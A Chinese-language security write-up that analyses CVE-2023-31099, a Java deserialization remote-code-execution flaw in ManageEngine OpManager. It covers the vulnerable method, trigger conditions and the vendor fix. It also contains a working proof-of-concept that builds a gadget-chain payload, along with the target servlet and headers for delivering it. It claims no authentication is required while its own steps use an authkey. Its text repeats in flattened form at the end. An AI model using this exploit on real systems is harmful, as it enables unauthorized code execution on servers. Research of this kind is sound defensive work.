Zoho ManageEngine Opmanager 反序列化RCE(CVE-2023-31099)
字数 1209 2025-08-24 07:48:22

Zoho ManageEngine OpManager 反序列化RCE漏洞(CVE-2023-31099)分析

漏洞概述

CVE-2023-31099是Zoho ManageEngine OpManager中存在的一个远程代码执行漏洞,源于不安全的反序列化操作。攻击者可通过构造特定的序列化数据发送到特定接口,在目标服务器上执行任意代码。

环境搭建

  1. 下载受影响版本:

    • Central组件:https://archives3.manageengine.com/opmanager/126323/
    • Probe组件:同上地址
  2. 安装步骤:

    • 先安装Central组件
    • 复制Central生成的key
    • 安装Probe组件时指定Central地址并使用复制的key
  3. 调试配置(可选):
    修改wrapper.conf文件添加调试参数:

    wrapper.java.additional.17=-Xdebug
    wrapper.java.additional.18=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=7007
    

漏洞分析

漏洞根源

漏洞位于OpManagerDistribution.jar中的com.me.opmanager.extranet.remote.communication.fw.DataObject#getObjectData方法,该方法存在不安全的反序列化操作:

public Object getObjectData() {
    if (!this.isDataEncrypted && this.object != null) {
        return this.object;
    } else {
        ByteArrayInputStream bais = null;
        ObjectInputStream ois = null;
        if (this.data != null) {
            try {
                byte[] decompressedData = null;
                byte[] decompressedData;
                if (this.isDataEncrypted) {
                    decompressedData = EEFrameworkUtil.decryptDataObject(this.data);
                    decompressedData = NmsUtil.decompress(decompressedData);
                } else {
                    decompressedData = NmsUtil.decompress(this.data);
                }
                bais = new ByteArrayInputStream(decompressedData);
                ois = new ObjectInputStream(bais);
                this.object = ois.readObject(); // 不安全的反序列化点
            } catch (InvalidClassException var14) {
                this.object = this.getUncheckedUIDData(this.data);
            } catch (Exception var15) {
                var15.printStackTrace();
            } finally {
                try {
                    if (ois != null) {
                        ois.close();
                    }
                    if (bais != null) {
                        bais.close();
                    }
                } catch (Exception var13) {
                    var13.printStackTrace();
                }
            }
        }
        return this.object;
    }
}

漏洞触发路径

  1. 数据入口点:com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener
  2. 数据传输路径:SPPRegionalCommBE.transferDataToNOC
  3. 最终在满足特定条件时调用dataObject.getObjectData()触发反序列化

触发条件

需要满足以下条件才能触发漏洞:

  1. NotificationType值必须为24
  2. DataPriority值必须为0
  3. userProps字段中必须包含一个key为regReqID的数据

漏洞利用

POC代码

public class cve_2023_31099 {
    public static void main(String[] args) throws Exception {
        DataObject obj = new DataObject();
        
        // 设置必要字段
        int notificationType = 24;
        setField(obj, "notificationType", notificationType);
        
        int dataPriority = 0;
        setField(obj, "dataPriority", dataPriority);
        
        Properties userProps = new Properties();
        userProps.put("regReqID", "qwe");
        setField(obj, "userProps", userProps);
        
        // 生成恶意序列化对象
        Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutilsNOCC");
        ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
        Object object = payload.getObject("cmd /c echo 1 > c:\\1.txt");
        
        // 序列化恶意对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.flush();
        byte[] bytes = baos.toByteArray();
        
        // 压缩数据并设置到DataObject
        byte[] datas = NmsUtil.compress(bytes);
        setField(obj, "data", datas);
        
        // 测试触发
        obj.getObjectData();
        
        // 生成最终payload
        FileOutputStream fos = new FileOutputStream("1.ser");
        ObjectOutputStream foos = new ObjectOutputStream(fos);
        foos.writeObject(obj);
    }
    
    // 反射设置字段的辅助方法
    private static void setField(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

漏洞复现步骤

  1. 构造上述POC生成恶意序列化文件
  2. 通过HTTP请求发送到目标服务器:
    • 请求路径:/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener
    • 请求方法:POST
    • 需要添加的HTTP头:
      • authkey: 安装probe时使用的key
      • regionID: probe名称
      • method: POST

修复方案

Zoho通过以下方式修复了该漏洞:

  1. ObjectInputStream替换为ITOMObjectInputStream
  2. 设置反序列化白名单机制,限制可反序列化的类

总结

CVE-2023-31099是一个典型的Java反序列化漏洞,攻击者可以通过构造特定的序列化数据在目标服务器上执行任意代码。该漏洞无需认证即可利用,危害性较高。建议使用ManageEngine OpManager的用户及时更新到修复版本。

Zoho ManageEngine OpManager 反序列化RCE漏洞(CVE-2023-31099)分析 漏洞概述 CVE-2023-31099是Zoho ManageEngine OpManager中存在的一个远程代码执行漏洞,源于不安全的反序列化操作。攻击者可通过构造特定的序列化数据发送到特定接口,在目标服务器上执行任意代码。 环境搭建 下载受影响版本: Central组件:https://archives3.manageengine.com/opmanager/126323/ Probe组件:同上地址 安装步骤: 先安装Central组件 复制Central生成的key 安装Probe组件时指定Central地址并使用复制的key 调试配置(可选): 修改 wrapper.conf 文件添加调试参数: 漏洞分析 漏洞根源 漏洞位于 OpManagerDistribution.jar 中的 com.me.opmanager.extranet.remote.communication.fw.DataObject#getObjectData 方法,该方法存在不安全的反序列化操作: 漏洞触发路径 数据入口点: com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener 数据传输路径: SPPRegionalCommBE.transferDataToNOC 最终在满足特定条件时调用 dataObject.getObjectData() 触发反序列化 触发条件 需要满足以下条件才能触发漏洞: NotificationType 值必须为24 DataPriority 值必须为0 userProps 字段中必须包含一个key为 regReqID 的数据 漏洞利用 POC代码 漏洞复现步骤 构造上述POC生成恶意序列化文件 通过HTTP请求发送到目标服务器: 请求路径: /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener 请求方法:POST 需要添加的HTTP头: authkey : 安装probe时使用的key regionID : probe名称 method : POST 修复方案 Zoho通过以下方式修复了该漏洞: 将 ObjectInputStream 替换为 ITOMObjectInputStream 设置反序列化白名单机制,限制可反序列化的类 总结 CVE-2023-31099是一个典型的Java反序列化漏洞,攻击者可以通过构造特定的序列化数据在目标服务器上执行任意代码。该漏洞无需认证即可利用,危害性较高。建议使用ManageEngine OpManager的用户及时更新到修复版本。